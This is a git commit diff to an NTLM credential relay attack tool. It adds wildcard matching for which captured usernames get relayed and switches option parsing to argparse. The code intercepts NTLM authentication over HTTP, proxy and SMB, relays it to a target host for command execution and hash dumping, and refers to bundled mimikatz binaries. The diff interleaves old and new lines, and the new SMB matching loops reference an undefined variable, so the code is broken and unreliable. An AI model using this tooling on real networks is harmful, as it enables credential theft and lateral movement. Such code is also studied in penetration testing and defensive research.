guly: added support for wildcard in usernames, moved from optparse(deprecated) to argparse

This commit is contained in:
Sandro "guly" Zaccarini 2017-04-11 15:31:56 +02:00
commit fb1aba66f4
2 changed files with 89 additions and 79 deletions

View file

@ -18,10 +18,12 @@ import sys
import re import re
import os import os
import logging import logging
import optparse import argparse
import time import time
import random import random
import subprocess import subprocess
import itertools
import fnmatch
from threading import Thread from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try: try:
@ -50,32 +52,21 @@ Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe" RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
parser = argparse.ArgumentParser()
def UserCallBack(op, value, dmy, parser): parser.add_argument('-t',action="store", help="Target server for SMB relay. Can be used multiple times.",dest="Target")
args=[] parser.add_argument('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
for arg in parser.rargs: parser.add_argument('-u', '--UserToRelay', '--UsersToRelay', help="Users to relay. Use '-u ALL' to relay all users or wildcard to relay users like '*.admin.'. Usernames are case sensitive.", action='append',nargs='+',dest="UsersToRelay")
if arg[0] != "-": parser.add_argument('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
args.append(arg) parser.add_argument('-d', '--dump', action="store_true", help="Dump hashes (scripting)", dest="Dump")
if arg[0] == "-":
break
if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0]) options = parser.parse_args()
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
options, args = parser.parse_args() if options.Target is None:
if options.TARGET is None:
print "\n-t Mandatory option is missing, please provide a target.\n" print "\n-t Mandatory option is missing, please provide a target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.UserToRelay is None: if options.UsersToRelay is None:
print "\n-u Mandatory option is missing, please provide a username to relay.\n" print "\n-u Mandatory option is missing, please provide a username to relay.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
@ -89,9 +80,11 @@ if not os.geteuid() == 0:
OneCommand = options.OneCommand OneCommand = options.OneCommand
Dump = options.Dump Dump = options.Dump
ExtraPort = options.ExtraPort ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay UsersToRelay = list(itertools.chain(*options.UsersToRelay))
if 'ALL' in UsersToRelay:
UsersToRelay = ['*']
Host = [options.TARGET] Host = [options.Target]
Cmd = [] Cmd = []
ShellOpen = [] ShellOpen = []
Pivoting = [2] Pivoting = [2]
@ -114,7 +107,7 @@ def ShowWelcome():
print 'If you do so, use taskkill (as system) to kill the process.' print 'If you do so, use taskkill (as system) to kill the process.'
print color('*/',8,1) print color('*/',8,1)
print color('\nRelaying credentials for these users:',8,1) print color('\nRelaying credentials for these users:',8,1)
print color(UserToRelay,4,1) print color(UsersToRelay,4,1)
print '\n' print '\n'
@ -262,7 +255,7 @@ class HTTPProxyRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@ -359,7 +352,7 @@ class HTTPRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@ -446,7 +439,7 @@ class SMBRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UsersToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
##Got the ntlm message 3, send it over to SMB. ##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")

View file

@ -24,6 +24,7 @@ import re
import datetime import datetime
import threading import threading
import uuid import uuid
import fnmatch
from RelayMultiPackets import * from RelayMultiPackets import *
from odict import OrderedDict from odict import OrderedDict
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
@ -100,7 +101,7 @@ def IsSMBAnonymous(data):
else: else:
return False return False
def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting): def ParseHTTPHash(data, key, client, UsersToRelay, Host, Pivoting):
LMhashLen = struct.unpack('<H',data[12:14])[0] LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0] LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@ -130,18 +131,21 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
else: else:
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay: UTRmatched = False
if Pivoting[0] == "1": for UTR in UsersToRelay:
return User, Domain if fnmatch.fnmatch(User,UTR):
print "[+] Username: %s is whitelisted, forwarding credentials."%(User) UTRmatched = True
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None): if Pivoting[0] == "1":
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. return User, Domain
return None, None print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
else: if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None):
return User, HostName ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
else: return None, None
print "[+] Username: %s not in target list, dropping connection."%(User) else:
return None, None return User, HostName
if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
if NthashLen > 24: if NthashLen > 24:
DomainLen = struct.unpack('<H',data[28:30])[0] DomainLen = struct.unpack('<H',data[28:30])[0]
@ -162,23 +166,28 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
pass pass
else: else:
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay:
if Pivoting[0] == "1":
return User, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(User) UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None): if Pivoting[0] == "1":
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. return User, Domain
return None, None
else: print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
return User, Domain
else: if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None):
print "[+] Username: %s not in target list, dropping connection."%(User) ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
else:
return User, Domain
if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client, challenge,UsersToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP') SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0] LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
@ -207,19 +216,23 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
pass pass
else: else:
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay:
if Pivoting[0] == "1":
return Username, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username) UTRmatched = False
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None): for UTR in UsersToRelay:
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. if fnmatch.fnmatch(User,UTR):
return None, None UTRmatched = True
else: if Pivoting[0] == "1":
return Username, Domain return Username, Domain
else:
print "[+] Username: %s not in target list, dropping connection."%(Username) print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
return None, None if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return Username, Domain
if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(Username)
return None, None
if NthashLen > 60: if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
@ -241,18 +254,22 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
pass pass
else: else:
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay:
if Pivoting[0] == "1": UTRmatched = False
return Username, Domain for UTR in UsersToRelay:
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username) if fnmatch.fnmatch(User,UTR):
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None): UTRmatched = True
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. if Pivoting[0] == "1":
return None, None return Username, Domain
else: print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
return Username, Domain if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
else: ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
print "[+] Username: %s not in target list, dropping connection."%(Username) return None, None
return None, None else:
return Username, Domain
if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(Username)
return None, None
#Get the index of the dialect we want. That is NT LM 0.12. #Get the index of the dialect we want. That is NT LM 0.12.
def Parse_Nego_Dialect(data): def Parse_Nego_Dialect(data):